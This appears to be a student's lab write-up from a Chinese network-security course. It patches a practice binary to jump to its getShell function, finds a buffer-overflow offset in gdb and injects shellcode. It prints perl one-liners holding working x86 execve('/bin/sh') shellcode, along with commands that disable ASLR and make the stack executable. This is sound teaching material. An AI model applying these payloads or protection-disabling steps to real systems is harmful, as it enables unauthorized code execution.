20155311高梓云《网络对抗》逆向及Bof基础

实践目标

  • 本次实践的对象是一个名为pwn1的linux可执行文件。
  • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
  • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。
  • 本次实践主要是学习两种方法:
    1.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    2.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

现实情况中的攻击目标:

  1. 运行原本不可访问的代码片段
  2. 强行修改程序执行流
  3. 以及注入运行任意代码。

基础知识及实践要求掌握知识

  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

  • NOP:即“空指令”,在执行到其时,CPU什么也不做,只是继续执行NOP后面的一条指令。
  • JNE:条件转移指令,不等于则跳转。
  • JE:条件转移指令,等于则跳转。
  • CMP:比较指令,功能上相当于减法指令,但只是对操作数之间运算比较,不保存结果。执行后,将对标志寄存器产生影响。

  • 掌握反汇编与十六进制编程器

  • 反汇编:objdump -d xxx
  • 二进制转十六进制::%!xxd
  • 掌握可执行文件的基本格式

  • 掌握缓冲区溢出攻击的原理
    当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上。

直接修改程序机器指令,改变程序执行流程

  • 将目标文件20155305反汇编objdump -d 20155311,阅读发现getShell函数的地址是804847d,foo函数的地址是8048491,要想使main函数调用foo函数的机器指令是e8 d7ffffff,其下条指令的地址为80484ba,要想使main函数调用getShell函数只要修改d7ffffff为getShell-80484ba对应的补码c3ffffff就行。
  • 利用vi 20155305命令打开目标文件20155305,屏幕上显示二进制乱码,利用:%!xxd命令,将二进制转换为十六进制。
  • 利用/e8d7命令查找要修改的内容,将d7修改为c3。
  • 利用:%!xxd -r命令将十六进制转换为二进制并存盘退出:wq。

    通过构造输入参数,造成BOF攻击,改变程序执行流程

  • gdb调试确认输入字符串哪几个字符会覆盖到返回地址
  • 首先输入1111111122222222333333334444444455555555,用info r命令查看溢出时寄存器状态如下,观察%eip的值,发现%eip的值是0x35353535,大致确定溢出字符为55555555。
  • 再输入1111111122222222333333334444444412345678,用info r命令查看溢出时寄存器状态如下,观察%eip的值,发现%eip的值是0x34333231,确定溢出字符为1234
  • 使用(cat input; cat) | ./20155305pwn1命令,将input的输入通过管道符“|”作为pwn120155305的输入。更改程序后结果:

20155311《网络对抗》PC平台逆向破解(二)

  • shellcode注入

    什么是shellcode?
    shellcode是一段代码,溢出后,执行这段代码能开启系统shell。

  • 前期准备——安装execstack,修改设置

  • 输入execstackapt-get install execstack下载exectstack

    设置堆栈可执行execstack -s pwn20155311
    看看堆栈是否可执行execstack -q pwn20155311

  • 输入more /proc/sys/kernel/randomize_va_space,查询地址随机化状态(2表示开启,0表示关闭),若是开启状态,则关闭地址随机化

    关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space

  • 准备完毕,开始运行并gdb调试

    输入shellcode的内容perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode运行pwn20155311,输入命令(cat input_shellcode;cat) | ./pwn20155311

  • 通过设置断点,来查看注入buf的内存地址

  • 知道shellcode地址,所以修改为perl -e 'print "A" x 32;print "\x60\xd4\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

  • 查看shellcode转换进制内容xxd input_shellcode,并运行验证是否成功(cat input_shellcode;cat) | ./pwn20155311

最新文章

  1. 关于ES6新增的东西
  2. jdbc连接mysql
  3. Java入门教程总目录
  4. iphone 屏幕投射到Mac上
  5. php学习笔记(3)
  6. 移动前端不得不了解的HTML5 head 头标签(首篇)
  7. 杀死进程kill和fuser
  8. Extjs学习笔记之九 数据模型(上)-extjs
  9. jquery.form.js的重置表单增加hidden重置代码
  10. JDK8中JVM对类的初始化探讨
  11. python分支
  12. ZOJ4043 : Virtual Singers
  13. 搭建RISC-V错误记录
  14. jQuery 闪动的文字提示
  15. MySQL数据库以及表的管理
  16. 没有启动 ASP.NET State service错误的解决方法
  17. html的初识
  18. TypeScript 照猫画虎
  19. ie6的设置外边距margin变双倍的问题
  20. JSON和GSON的使用

热门文章

  1. Python 自定义线程池
  2. EFCore中SQLSERVER 2008 的分页问题
  3. Linux命令(自学)
  4. oracle 使用绑定变量极大的提升性能
  5. cisco ASA ios升级或恢复
  6. UNIX高级环境编程(10)进程控制(Process Control)- 竞态条件,exec函数,解释器文件和system函数
  7. MySQL主从复制半同步复制原理及搭建
  8. docker18.ce harbor 安装
  9. 基础知识整理汇总 - Java学习(一)
  10. mpvue 应用 Vant Weapp框架开发微信小程序